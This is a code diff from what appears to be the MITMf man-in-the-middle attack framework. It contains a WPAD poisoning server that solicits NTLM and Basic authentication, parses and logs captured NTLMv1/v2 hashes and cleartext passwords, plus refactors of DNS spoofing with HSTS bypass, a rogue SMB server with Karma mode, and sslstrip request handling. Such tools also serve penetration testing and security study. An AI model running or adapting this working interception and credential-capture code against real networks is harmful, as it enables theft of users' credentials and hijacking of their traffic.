def start(self, options):
|
||||
|
||||
global args; args = options
|
||||
args.forceWpadAuth = False
|
||||
args.basic = False
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[WPADPoisoner] online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 80), HTTP)
|
||||
t = threading.Thread(name="HTTP", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
mitmf_logger.error("[WPADPoisoner] Error starting on port {}: {}".format(80, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
#HTTP Server Class
|
||||
class HTTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
self.request.settimeout(1)
|
||||
data = self.request.recv(8092)
|
||||
buff = WpadCustom(data,self.client_address[0])
|
||||
if buff and args.forceWpadAuth is False:
|
||||
mitmf_logger.info("[WPADPoisoner] WPAD (no auth) file sent to: {}".format(self.client_address[0]))
|
||||
self.request.send(buff)
|
||||
else:
|
||||
buffer0 = PacketSequence(data,self.client_address[0])
|
||||
self.request.send(buffer0)
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
#Parse NTLMv1/v2 hash.
|
||||
def ParseHTTPHash(data,client):
|
||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[20:22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
if NthashLen == 24:
|
||||
NtHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
Hostname = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
outfile = "./logs/responder/HTTP-NTLMv1-Client-"+client+".txt"
|
||||
WriteHash = User+"::"+Hostname+":"+LMHash+":"+NtHash+":"+NumChal
|
||||
WriteData(outfile,WriteHash, User+"::"+Hostname)
|
||||
mitmf_logger.info('[+]HTTP NTLMv1 hash captured from :%s'%(client))
|
||||
mitmf_logger.info('[+]HTTP NTLMv1 Hostname is :%s'%(Hostname))
|
||||
mitmf_logger.info('[+]HTTP NTLMv1 User is :%s'%(data[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
mitmf_logger.info('[+]HTTP NTLMv1 Complete hash is :%s'%(WriteHash))
|
||||
|
||||
if NthashLen > 24:
|
||||
NthashLen = 64
|
||||
DomainLen = struct.unpack('<H',data[28:30])[0]
|
||||
DomainOffset = struct.unpack('<H',data[32:34])[0]
|
||||
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
outfile = "./logs/responder/HTTP-NTLMv2-Client-"+client+".txt"
|
||||
WriteHash = User+"::"+Domain+":"+NumChal+":"+NTHash[:32]+":"+NTHash[32:]
|
||||
WriteData(outfile,WriteHash, User+"::"+Domain)
|
||||
mitmf_logger.info('[+]HTTP NTLMv2 hash captured from :%s'%(client))
|
||||
mitmf_logger.info('[+]HTTP NTLMv2 User is : %s'%(User))
|
||||
mitmf_logger.info('[+]HTTP NTLMv2 Domain is :%s'%(Domain))
|
||||
mitmf_logger.info('[+]HTTP NTLMv2 Hostname is :%s'%(HostName))
|
||||
mitmf_logger.info('[+]HTTP NTLMv2 Complete hash is :%s'%(WriteHash))
|
||||
|
||||
def WpadCustom(data,client):
|
||||
WPAD_Script = ConfigWatcher.getInstance().getConfig()["Responder"]['WPADScript']
|
||||
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
|
||||
if Wpad:
|
||||
buffer1 = WPADScript(Payload=WPAD_Script)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
else:
|
||||
return False
|
||||
|
||||
# Function used to check if we answer with a Basic or NTLM auth.
|
||||
def Basic_Ntlm(Basic):
|
||||
if Basic == True:
|
||||
return IIS_Basic_401_Ans()
|
||||
else:
|
||||
return IIS_Auth_401_Ans()
|
||||
|
||||
#Handle HTTP packet sequence.
|
||||
def PacketSequence(data,client):
|
||||
Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
|
||||
BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
|
||||
|
||||
if Ntlm:
|
||||
packetNtlm = b64decode(''.join(Ntlm))[8:9]
|
||||
if packetNtlm == "\x01":
|
||||
r = NTLM_Challenge(ServerChallenge=Challenge)
|
||||
r.calculate()
|
||||
t = IIS_NTLM_Challenge_Ans()
|
||||
t.calculate(str(r))
|
||||
buffer1 = str(t)
|
||||
return buffer1
|
||||
if packetNtlm == "\x03":
|
||||
NTLM_Auth= b64decode(''.join(Ntlm))
|
||||
ParseHTTPHash(NTLM_Auth,client)
|
||||
if args.forceWpadAuth and WpadCustom(data,client):
|
||||
mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client))
|
||||
buffer1 = WpadCustom(data,client)
|
||||
return buffer1
|
||||
else:
|
||||
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
|
||||
if BasicAuth:
|
||||
outfile = "./logs/responder/HTTP-Clear-Text-Password-"+client+".txt"
|
||||
WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth)))
|
||||
mitmf_logger.info('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth))))
|
||||
if args.forceWpadAuth and WpadCustom(data,client):
|
||||
mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client))
|
||||
buffer1 = WpadCustom(data,client)
|
||||
return buffer1
|
||||
else:
|
||||
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
|
||||
else:
|
||||
return str(Basic_Ntlm(args.basic))
|
||||
|
@ -20,8 +20,10 @@ import sys
|
||||
import logging
|
||||
import inspect
|
||||
import traceback
|
||||
from core.logger import logger
|
||||
|
||||
log = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [ProxyPlugins] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("ProxyPlugins", formatter)
|
||||
|
||||
class ProxyPlugins:
|
||||
'''
|
||||
@ -41,48 +43,45 @@ class ProxyPlugins:
|
||||
vars still have to be set back in the function. This only happens
|
||||
in handleResponse, but is still annoying.
|
||||
'''
|
||||
_instance = None
|
||||
|
||||
plist = []
|
||||
|
||||
mthdDict = {"connectionMade" : "request",
|
||||
"handleStatus" : "responsestatus",
|
||||
"handleResponse" : "response",
|
||||
"handleHeader" : "responseheaders",
|
||||
"handleEndHeaders": "responseheaders"}
|
||||
|
||||
pmthds = {}
|
||||
plugin_mthds = {}
|
||||
plugin_list = []
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if ProxyPlugins._instance == None:
|
||||
ProxyPlugins._instance = ProxyPlugins()
|
||||
__shared_state = {}
|
||||
|
||||
return ProxyPlugins._instance
|
||||
def __init__(self):
|
||||
self.__dict__ = self.__shared_state
|
||||
|
||||
def setPlugins(self, plugins):
|
||||
def set_plugins(self, plugins):
|
||||
'''Set the plugins in use'''
|
||||
|
||||
for p in plugins:
|
||||
self.addPlugin(p)
|
||||
self.add_plugin(p)
|
||||
|
||||
log.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist)))
|
||||
log.debug("Loaded {} plugin/s".format(len(plugins)))
|
||||
|
||||
def addPlugin(self,p):
|
||||
def add_plugin(self,p):
|
||||
'''Load a plugin'''
|
||||
self.plist.append(p)
|
||||
log.debug("[ProxyPlugins] Adding {} plugin".format(p.name))
|
||||
self.plugin_list.append(p)
|
||||
log.debug("Adding {} plugin".format(p.name))
|
||||
for mthd,pmthd in self.mthdDict.iteritems():
|
||||
try:
|
||||
self.pmthds[mthd].append(getattr(p,pmthd))
|
||||
self.plugin_mthds[mthd].append(getattr(p,pmthd))
|
||||
except KeyError:
|
||||
self.pmthds[mthd] = [getattr(p,pmthd)]
|
||||
self.plugin_mthds[mthd] = [getattr(p,pmthd)]
|
||||
|
||||
def removePlugin(self,p):
|
||||
def remove_plugin(self,p):
|
||||
'''Unload a plugin'''
|
||||
self.plist.remove(p)
|
||||
log.debug("[ProxyPlugins] Removing {} plugin".format(p.name))
|
||||
self.plugin_list.remove(p)
|
||||
log.debug("Removing {} plugin".format(p.name))
|
||||
for mthd,pmthd in self.mthdDict.iteritems():
|
||||
self.pmthds[mthd].remove(p)
|
||||
self.plugin_mthds[mthd].remove(p)
|
||||
|
||||
def hook(self):
|
||||
'''Magic to hook various function calls in sslstrip'''
|
||||
@ -105,17 +104,17 @@ class ProxyPlugins:
|
||||
|
||||
del args['self']
|
||||
|
||||
log.debug("[ProxyPlugins] hooking {}()".format(fname))
|
||||
log.debug("hooking {}()".format(fname))
|
||||
#calls any plugin that has this hook
|
||||
try:
|
||||
for f in self.pmthds[fname]:
|
||||
for f in self.plugin_mthds[fname]:
|
||||
a = f(**args)
|
||||
if a != None: args = a
|
||||
except KeyError as e:
|
||||
pass
|
||||
except Exception as e:
|
||||
#This is needed because errors in hooked functions won't raise an Exception + Traceback (which can be infuriating)
|
||||
log.error("[ProxyPlugins] Exception occurred in hooked function")
|
||||
log.error("Exception occurred in hooked function")
|
||||
traceback.print_exc()
|
||||
|
||||
#pass our changes to the locals back down
|
||||
|
@ -42,23 +42,26 @@ import logging
|
||||
from configobj import ConfigObj
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.utils import shutdown
|
||||
from core.logger import logger
|
||||
|
||||
from mitmflib.dnslib import *
|
||||
from IPy import IP
|
||||
|
||||
log = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s %(clientip)s [DNSChef] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("DNSChef", formatter)
|
||||
|
||||
# DNSHandler Mixin. The class contains generic functions to parse DNS requests and
|
||||
# calculate an appropriate response based on user parameters.
|
||||
class DNSHandler():
|
||||
|
||||
|
||||
def parse(self,data):
|
||||
|
||||
nametodns = DNSChef.getInstance().nametodns
|
||||
nameservers = DNSChef.getInstance().nameservers
|
||||
hsts = DNSChef.getInstance().hsts
|
||||
hstsconfig = DNSChef.getInstance().real_records
|
||||
server_address = DNSChef.getInstance().server_address
|
||||
nametodns = DNSChef().nametodns
|
||||
nameservers = DNSChef().nameservers
|
||||
hsts = DNSChef().hsts
|
||||
hstsconfig = DNSChef().real_records
|
||||
server_address = DNSChef().server_address
|
||||
clientip = {"clientip": self.client_address[0]}
|
||||
|
||||
response = ""
|
||||
|
||||
@ -67,7 +70,7 @@ class DNSHandler():
|
||||
d = DNSRecord.parse(data)
|
||||
|
||||
except Exception as e:
|
||||
log.info("{} [DNSChef] Error: invalid DNS request".format(self.client_address[0]))
|
||||
log.info("Error: invalid DNS request", extra=clientip)
|
||||
|
||||
else:
|
||||
# Only Process DNS Queries
|
||||
@ -111,7 +114,7 @@ class DNSHandler():
|
||||
# Create a custom response to the query
|
||||
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q)
|
||||
|
||||
log.info("{} [DNSChef] Cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record))
|
||||
log.info("Cooking the response of type '{}' for {} to {}".format(qtype, qname, fake_record), extra=clientip)
|
||||
|
||||
# IPv6 needs additional work before inclusion:
|
||||
if qtype == "AAAA":
|
||||
@ -180,7 +183,7 @@ class DNSHandler():
|
||||
response = response.pack()
|
||||
|
||||
elif qtype == "*" and not None in fake_records.values():
|
||||
log.info("{} [DNSChef] Cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records."))
|
||||
log.info("Cooking the response of type '{}' for {} with {}".format("ANY", qname, "all known fake records."), extra=clientip)
|
||||
|
||||
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q)
|
||||
|
||||
@ -255,7 +258,7 @@ class DNSHandler():
|
||||
|
||||
# Proxy the request
|
||||
else:
|
||||
log.debug("{} [DNSChef] Proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname))
|
||||
log.debug("Proxying the response of type '{}' for {}".format(qtype, qname), extra=clientip)
|
||||
|
||||
nameserver_tuple = random.choice(nameservers).split('#')
|
||||
response = self.proxyrequest(data, *nameserver_tuple)
|
||||
@ -299,7 +302,7 @@ class DNSHandler():
|
||||
def proxyrequest(self, request, host, port="53", protocol="udp"):
|
||||
reply = None
|
||||
try:
|
||||
if DNSChef.getInstance().ipv6:
|
||||
if DNSChef().ipv6:
|
||||
|
||||
if protocol == "udp":
|
||||
sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
|
||||
@ -335,13 +338,13 @@ class DNSHandler():
|
||||
sock.close()
|
||||
|
||||
except Exception, e:
|
||||
log.warning("[DNSChef] Could not proxy request: {}".format(e))
|
||||
log.warning("Could not proxy request: {}".format(e), extra=clientip)
|
||||
else:
|
||||
return reply
|
||||
|
||||
def hstsbypass(self, real_domain, fake_domain, nameservers, d):
|
||||
|
||||
log.info("{} [DNSChef] Resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain))
|
||||
log.info("Resolving '{}' to '{}' for HSTS bypass".format(fake_domain, real_domain), extra=clientip)
|
||||
|
||||
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q)
|
||||
|
||||
@ -395,7 +398,7 @@ class ThreadedUDPServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer):
|
||||
|
||||
# Override SocketServer.UDPServer to add extra parameters
|
||||
def __init__(self, server_address, RequestHandlerClass):
|
||||
self.address_family = socket.AF_INET6 if DNSChef.getInstance().ipv6 else socket.AF_INET
|
||||
self.address_family = socket.AF_INET6 if DNSChef().ipv6 else socket.AF_INET
|
||||
|
||||
SocketServer.UDPServer.__init__(self,server_address,RequestHandlerClass)
|
||||
|
||||
@ -406,30 +409,26 @@ class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
|
||||
|
||||
# Override SocketServer.TCPServer to add extra parameters
|
||||
def __init__(self, server_address, RequestHandlerClass):
|
||||
self.address_family = socket.AF_INET6 if DNSChef.getInstance().ipv6 else socket.AF_INET
|
||||
self.address_family = socket.AF_INET6 if DNSChef().ipv6 else socket.AF_INET
|
||||
|
||||
SocketServer.TCPServer.__init__(self,server_address,RequestHandlerClass)
|
||||
|
||||
class DNSChef(ConfigWatcher):
|
||||
|
||||
_instance = None
|
||||
version = "0.4"
|
||||
|
||||
version = "0.4"
|
||||
tcp = False
|
||||
ipv6 = False
|
||||
hsts = False
|
||||
real_records = dict()
|
||||
nametodns = dict()
|
||||
real_records = {}
|
||||
nametodns = {}
|
||||
server_address = "0.0.0.0"
|
||||
nameservers = ["8.8.8.8"]
|
||||
port = 53
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if DNSChef._instance == None:
|
||||
DNSChef._instance = DNSChef()
|
||||
__shared_state = {}
|
||||
|
||||
return DNSChef._instance
|
||||
def __init__(self):
|
||||
self.__dict__ = self.__shared_state
|
||||
|
||||
def on_config_change(self):
|
||||
config = self.config['MITMf']['DNS']
|
||||
|
@ -1,82 +0,0 @@
|
||||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import logging
|
||||
import sys
|
||||
import tornado.ioloop
|
||||
import tornado.web
|
||||
import threading
|
||||
|
||||
from core.configwatcher import ConfigWatcher
|
||||
|
||||
tornado_logger = logging.getLogger("tornado")
|
||||
tornado_logger.propagate = False
|
||||
formatter = logging.Formatter("%(asctime)s [HTTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
fileHandler = logging.FileHandler("./logs/mitmf.log")
|
||||
streamHandler = logging.StreamHandler(sys.stdout)
|
||||
fileHandler.setFormatter(formatter)
|
||||
streamHandler.setFormatter(formatter)
|
||||
tornado_logger.addHandler(fileHandler)
|
||||
tornado_logger.addHandler(streamHandler)
|
||||
|
||||
class HTTPServer(ConfigWatcher):
|
||||
|
||||
_instance = None
|
||||
application = tornado.web.Application([])
|
||||
http_port = int(ConfigWatcher.config["MITMf"]["HTTP"]["port"])
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if HTTPServer._instance == None:
|
||||
HTTPServer._instance = HTTPServer()
|
||||
|
||||
return HTTPServer._instance
|
||||
|
||||
def addHandler(self, urlregex, handler, vhost=''):
|
||||
self.application.add_handlers(vhost, [(urlregex, handler)])
|
||||
|
||||
def addStaticPathHandler(self, urlregex, path, vhost=''):
|
||||
self.application.add_handlers(vhost, [(urlregex, {"static_path": path})])
|
||||
|
||||
def resetApplication(self):
|
||||
self.application = tornado.web.Application([])
|
||||
|
||||
def parseConfig(self):
|
||||
for url,path in self.config['MITMf']['HTTP']['Paths'].iteritems():
|
||||
self.addStaticPathHandler(url, path)
|
||||
|
||||
def onConfigChange(self):
|
||||
self.resetApplication()
|
||||
self.parseConfig()
|
||||
|
||||
def start(self):
|
||||
self.parseConfig()
|
||||
self.application.listen(self.http_port)
|
||||
|
||||
t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
class HTTPHandler(tornado.web.RequestHandler):
|
||||
def get(self):
|
||||
raise HTTPError(405)
|
||||
|
||||
def post(self):
|
||||
raise HTTPError(405)
|
48
core/servers/http/HTTPserver.py
Normal file
48
core/servers/http/HTTPserver.py
Normal file
@ -0,0 +1,48 @@
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
import logging
|
||||
import threading
|
||||
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from flask import Flask
|
||||
|
||||
class HTTPserver(ConfigWatcher):
|
||||
|
||||
server = Flask("HTTPserver")
|
||||
|
||||
__shared_state = {}
|
||||
|
||||
def __init__(self):
|
||||
self.__dict__ = self.__shared_state
|
||||
|
||||
def start_flask(self):
|
||||
self.server.run(debug=False, host='0.0.0.0', port=int(self.config['MITMf']['HTTP']['port']))
|
||||
|
||||
def start(self):
|
||||
self.setup_http_logger()
|
||||
server_thread = threading.Thread(name='HTTPserver', target=self.start_flask)
|
||||
server_thread.setDaemon(True)
|
||||
server_thread.start()
|
||||
|
||||
def setup_http_logger(self):
|
||||
formatter = logging.Formatter("%(asctime)s [HTTP] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
flask_logger = logging.getLogger('werkzeug')
|
||||
flask_logger.propagate = False
|
||||
fileHandler = logging.FileHandler("./logs/mitmf.log")
|
||||
fileHandler.setFormatter(formatter)
|
||||
flask_logger.addHandler(fileHandler)
|
@ -11,46 +11,39 @@ from core.utils import shutdown
|
||||
|
||||
class SMBserver(ConfigWatcher):
|
||||
|
||||
_instance = None
|
||||
__shared_state = {}
|
||||
|
||||
def __init__(self):
|
||||
self.__dict__ = self.__shared_state
|
||||
|
||||
self.impacket_ver = version.VER_MINOR
|
||||
self.server_type = self.config["MITMf"]["SMB"]["type"].lower()
|
||||
self.smbchallenge = self.config["MITMf"]["SMB"]["Challenge"]
|
||||
self.smb_port = int(self.config["MITMf"]["SMB"]["port"])
|
||||
self.version = version.VER_MINOR
|
||||
self.mode = self.config["MITMf"]["SMB"]["mode"].lower()
|
||||
self.challenge = self.config["MITMf"]["SMB"]["Challenge"]
|
||||
self.port = int(self.config["MITMf"]["SMB"]["port"])
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if SMBserver._instance == None:
|
||||
SMBserver._instance = SMBserver()
|
||||
|
||||
return SMBserver._instance
|
||||
|
||||
def parseConfig(self):
|
||||
server = None
|
||||
def server(self):
|
||||
try:
|
||||
if self.server_type == 'normal':
|
||||
if self.mode == 'normal':
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
self.configureLogging(formatter)
|
||||
self.conf_impacket_logger(formatter)
|
||||
|
||||
server = smbserver.SimpleSMBServer(listenPort=self.smb_port)
|
||||
server = smbserver.SimpleSMBServer(listenPort=self.port)
|
||||
|
||||
for share in self.config["MITMf"]["SMB"]["Shares"]:
|
||||
path = self.config["MITMf"]["SMB"]["Shares"][share]['path']
|
||||
readonly = self.config["MITMf"]["SMB"]["Shares"][share]['readonly'].lower()
|
||||
server.addShare(share.upper(), path, readOnly=readonly)
|
||||
|
||||
server.setSMBChallenge(self.smbchallenge)
|
||||
server.setSMBChallenge(self.challenge)
|
||||
server.setLogFile('')
|
||||
|
||||
elif self.server_type == 'karma':
|
||||
elif self.mode == 'karma':
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [KarmaSMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
self.configureLogging(formatter)
|
||||
self.conf_impacket_logger(formatter)
|
||||
|
||||
server = KarmaSMBServer(self.smbchallenge, self.smb_port)
|
||||
server = KarmaSMBServer(self.challenge, self.port)
|
||||
server.defaultFile = self.config["MITMf"]["SMB"]["Karma"]["defaultfile"]
|
||||
|
||||
for extension, path in self.config["MITMf"]["SMB"]["Karma"].iteritems():
|
||||
@ -60,13 +53,12 @@ class SMBserver(ConfigWatcher):
|
||||
shutdown("\n[-] Invalid SMB server type specified in config file!")
|
||||
|
||||
return server
|
||||
|
||||
|
||||
except socketerror as e:
|
||||
if "Address already in use" in e:
|
||||
shutdown("\n[-] Unable to start SMB server on port {}: port already in use".format(self.smb_port))
|
||||
shutdown("\n[-] Unable to start SMB server on port {}: port already in use".format(self.port))
|
||||
|
||||
def configureLogging(self, formatter):
|
||||
#yes I know this looks awful, yuck
|
||||
def conf_impacket_logger(self, formatter):
|
||||
|
||||
LOG.setLevel(logging.INFO)
|
||||
LOG.propagate = False
|
||||
@ -81,6 +73,6 @@ class SMBserver(ConfigWatcher):
|
||||
LOG.addHandler(streamHandler)
|
||||
|
||||
def start(self):
|
||||
t = threading.Thread(name='SMBserver', target=self.parseConfig().start)
|
||||
t = threading.Thread(name='SMBserver', target=self.server().start)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
@ -39,8 +39,10 @@ from SSLServerConnection import SSLServerConnection
|
||||
from URLMonitor import URLMonitor
|
||||
from CookieCleaner import CookieCleaner
|
||||
from DnsCache import DnsCache
|
||||
from core.logger import logger
|
||||
|
||||
log = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [ClientRequest] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("ClientRequest", formatter)
|
||||
|
||||
class ClientRequest(Request):
|
||||
|
||||
@ -76,13 +78,13 @@ class ClientRequest(Request):
|
||||
|
||||
if 'host' in headers:
|
||||
host = self.urlMonitor.URLgetRealHost(str(headers['host']))
|
||||
log.debug("[ClientRequest][HSTS] Modifing HOST header: {} -> {}".format(headers['host'], host))
|
||||
log.debug("Modifing HOST header: {} -> {}".format(headers['host'], host))
|
||||
headers['host'] = host
|
||||
self.setHeader('Host', host)
|
||||
|
||||
if 'accept-encoding' in headers:
|
||||
del headers['accept-encoding']
|
||||
log.debug("[ClientRequest] Zapped encoding")
|
||||
log.debug("Zapped encoding")
|
||||
|
||||
if 'if-none-match' in headers:
|
||||
del headers['if-none-match']
|
||||
@ -109,11 +111,11 @@ class ClientRequest(Request):
|
||||
|
||||
if os.path.exists(scriptPath): return scriptPath
|
||||
|
||||
log.warning("[ClientRequest] Error: Could not find lock.ico")
|
||||
log.warning("Error: Could not find lock.ico")
|
||||
return "lock.ico"
|
||||
|
||||
def handleHostResolvedSuccess(self, address):
|
||||
log.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address))
|
||||
log.debug("Resolved host successfully: {} -> {}".format(self.getHeader('host'), address))
|
||||
host = self.getHeader("host")
|
||||
headers = self.cleanHeaders()
|
||||
client = self.getClientIP()
|
||||
@ -151,22 +153,22 @@ class ClientRequest(Request):
|
||||
self.dnsCache.cacheResolution(hostparts[0], address)
|
||||
|
||||
if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
|
||||
log.debug("[ClientRequest] Sending expired cookies")
|
||||
log.debug("Sending expired cookies")
|
||||
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path))
|
||||
|
||||
elif (self.urlMonitor.isSecureFavicon(client, path)):
|
||||
log.debug("[ClientRequest] Sending spoofed favicon response")
|
||||
log.debug("Sending spoofed favicon response")
|
||||
self.sendSpoofedFaviconResponse()
|
||||
|
||||
elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
|
||||
if 'securelink' in headers:
|
||||
del headers['securelink']
|
||||
|
||||
log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url)))
|
||||
log.debug("Sending request via SSL ({})".format((client,url)))
|
||||
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
|
||||
|
||||
else:
|
||||
log.debug("[ClientRequest] Sending request via HTTP")
|
||||
log.debug("Sending request via HTTP")
|
||||
#self.proxyViaHTTP(address, self.method, path, postData, headers)
|
||||
port = 80
|
||||
if len(hostparts) > 1:
|
||||
@ -175,7 +177,7 @@ class ClientRequest(Request):
|
||||
self.proxyViaHTTP(address, self.method, path, postData, headers, port)
|
||||
|
||||
def handleHostResolvedError(self, error):
|
||||
log.debug("[ClientRequest] Host resolution error: {}".format(error))
|
||||
log.debug("Host resolution error: {}".format(error))
|
||||
try:
|
||||
self.finish()
|
||||
except:
|
||||
@ -185,23 +187,23 @@ class ClientRequest(Request):
|
||||
address = self.dnsCache.getCachedAddress(host)
|
||||
|
||||
if address != None:
|
||||
log.debug("[ClientRequest] Host cached: {} {}".format(host, address))
|
||||
log.debug("Host cached: {} {}".format(host, address))
|
||||
return defer.succeed(address)
|
||||
else:
|
||||
|
||||
log.debug("[ClientRequest] Host not cached.")
|
||||
log.debug("Host not cached.")
|
||||
self.customResolver.port = self.urlMonitor.getResolverPort()
|
||||
|
||||
try:
|
||||
log.debug("[ClientRequest] Resolving with DNSChef")
|
||||
log.debug("Resolving with DNSChef")
|
||||
address = str(self.customResolver.query(host)[0].address)
|
||||
return defer.succeed(address)
|
||||
except Exception:
|
||||
log.debug("[ClientRequest] Exception occured, falling back to Twisted")
|
||||
log.debug("Exception occured, falling back to Twisted")
|
||||
return reactor.resolve(host)
|
||||
|
||||
def process(self):
|
||||
log.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host')))
|
||||
log.debug("Resolving host: {}".format(self.getHeader('host')))
|
||||
host = self.getHeader('host').split(":")[0]
|
||||
|
||||
if self.hsts:
|
||||
|
@ -17,8 +17,10 @@
|
||||
#
|
||||
|
||||
import logging
|
||||
from core.logger import logger
|
||||
|
||||
log = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [DnsCache] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("DnsCache", formatter)
|
||||
|
||||
class DnsCache:
|
||||
|
||||
@ -51,7 +53,7 @@ class DnsCache:
|
||||
def setCustomRes(self, host, ip_address=None):
|
||||
if ip_address is not None:
|
||||
self.cache[host] = ip_address
|
||||
